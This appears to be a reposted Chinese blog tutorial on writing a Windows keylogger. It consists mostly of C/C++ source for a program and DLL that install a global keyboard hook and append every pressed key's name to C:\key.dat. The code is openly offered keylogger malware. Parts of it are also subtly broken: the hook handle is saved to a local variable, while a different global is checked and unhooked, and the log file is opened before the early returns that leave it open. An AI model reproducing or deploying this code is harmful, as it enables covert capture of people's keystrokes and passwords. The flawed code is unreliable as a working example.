windows应用程序的开发一个键盘记录器
生活随笔
收集整理的這篇文章主要介紹了
windows应用程序的开发一个键盘记录器
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
一 .創(chuàng)建一個(gè)C工程,添加一個(gè)CPP文件
名字隨便起
#include <Windows.h>extern "C" __declspec(dllimport) BOOL InstallHook();extern "C" __declspec(dllimport) BOOL UninstallHook();#pragma comment(lib, "kb.lib")LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow) {TCHAR szAppClassName[] = TEXT("Dajun");WNDCLASS wc = { 0 };wc.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);wc.hCursor = LoadCursor(NULL, IDC_ARROW);wc.hInstance = hInstance;wc.lpfnWndProc = WindowProc;wc.lpszClassName = szAppClassName;wc.style = CS_HREDRAW | CS_VREDRAW;RegisterClass(&wc);HWND hWnd = CreateWindow(szAppClassName,TEXT("鍵盤記錄器"),WS_OVERLAPPEDWINDOW,400,200,100, 100,NULL,NULL,hInstance,NULL);ShowWindow(hWnd, SW_SHOW);UpdateWindow(hWnd);MSG msg;while (GetMessage(&msg, NULL, 0, 0)){TranslateMessage(&msg);DispatchMessage(&msg);}return 0; }LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {switch (uMsg){case WM_CREATE:InstallHook();break;case WM_CLOSE:DestroyWindow(hWnd);case WM_DESTROY:UninstallHook();PostQuitMessage(0);break;default:break;}return DefWindowProc(hWnd, uMsg, wParam, lParam);}第二部 創(chuàng)建一個(gè)動(dòng)態(tài)dll庫(kù)工程,空項(xiàng)目
#include "kb.h" #include <stdio.h>BOOL InstallHook() {HHOOK hHook=SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(L"kb"),0);if (g_hHook == NULL){return FALSE;}return TRUE; } BOOL UninstallHook() {return UnhookWindowsHookEx(g_hHook); } LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {FILE* fp = fopen("C:\\key.dat", "a");if (fp == NULL)return CallNextHookEx(g_hHook, code, wParam, lParam);if (code < 0 || code == HC_NOREMOVE)return CallNextHookEx(g_hHook, code, wParam, lParam);if (lParam & 0x40000000)return CallNextHookEx(g_hHook, code, wParam, lParam);char szKeyName[100] = { 0 };GetKeyNameTextA(lParam,szKeyName,100);//寫入文件fwrite(szKeyName,1,strlen(szKeyName),fp);//關(guān)閉fclose(fp);return CallNextHookEx(g_hHook, code, wParam, lParam); }總結(jié)
以上是生活随笔為你收集整理的windows应用程序的开发一个键盘记录器的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 关于Qt的CRUD增删改查数据库那些事,
- 下一篇: Windows编程之定时器的使用和定时销